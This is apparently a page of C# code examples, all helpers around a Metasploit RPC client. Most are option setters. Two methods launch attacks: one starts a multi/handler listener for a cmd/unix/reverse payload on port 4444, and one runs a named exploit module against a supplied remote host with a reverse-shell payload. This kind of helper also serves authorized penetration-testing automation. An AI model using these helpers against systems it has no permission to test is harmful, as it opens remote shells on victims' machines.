public static async Task<Dictionary<string, object>> ExecuteModule(
     this IMetasploitProvider metasploit,
     MetasploitModule module)
 {
     var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options);
     return response;
 }
 public static async Task<(Dictionary<string, object> Result, string JobId)> ExecuteModuleJob(
     this IMetasploitProvider metasploit,
     MetasploitModule module)
 {
     var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options);
     var jobId = response["job_id"].ToString();
     return (response, jobId);
 }
        public static async Task<(Dictionary<string, object> Result, string JobId)> MultiHandler(
            this IMetasploitProvider metasploit)
        {
            var module = new MetasploitModule("exploit", "multi/handler")
                .LHost(metasploit.MetasploitAddress)
                .LPort(4444)
                .Payload("cmd/unix/reverse")
                .ExitOnSession(false);

            return await metasploit.ExecuteModuleJob(module);
        }
        public static async Task<Dictionary<string, object>> Exploit(
            this IMetasploitProvider metasploit,
            string moduleName,
            string rHost)
        {
            var module = new MetasploitModule("exploit", moduleName)
                .RHost(rHost)
                .LHost(metasploit.MetasploitAddress)
                .LPort(4444)
                .Payload("cmd/unix/reverse")
                .DisablePayloadHandler(true);

            return await metasploit.ExecuteModule(module);
        }
Esempio n. 5
0
 public static MetasploitModule DisablePayloadHandler(this MetasploitModule module, bool disablePayloadHandler)
 {
     module.AddOption("DisablePayloadHandler", disablePayloadHandler);
     return(module);
 }
Esempio n. 6
0
 public static MetasploitModule AddOption(this MetasploitModule module, string key, object value)
 {
     module.Options.Add(key, value);
     return(module);
 }
Esempio n. 7
0
 public static MetasploitModule ExitOnSession(this MetasploitModule module, bool exitOnSession)
 {
     module.AddOption("ExitOnSession", exitOnSession);
     return(module);
 }
Esempio n. 8
0
 public static MetasploitModule Payload(this MetasploitModule module, string payload)
 {
     module.AddOption("PAYLOAD", payload);
     return(module);
 }
Esempio n. 9
0
 public static MetasploitModule RHost(this MetasploitModule module, string rHost)
 {
     module.AddOption("RHOST", rHost);
     return(module);
 }
Esempio n. 10
0
 public static MetasploitModule LPort(this MetasploitModule module, int lPort)
 {
     module.AddOption("LPORT", lPort);
     return(module);
 }
Esempio n. 11
0
 public static MetasploitModule LHost(this MetasploitModule module, string lHost)
 {
     module.AddOption("LHOST", lHost);
     return(module);
 }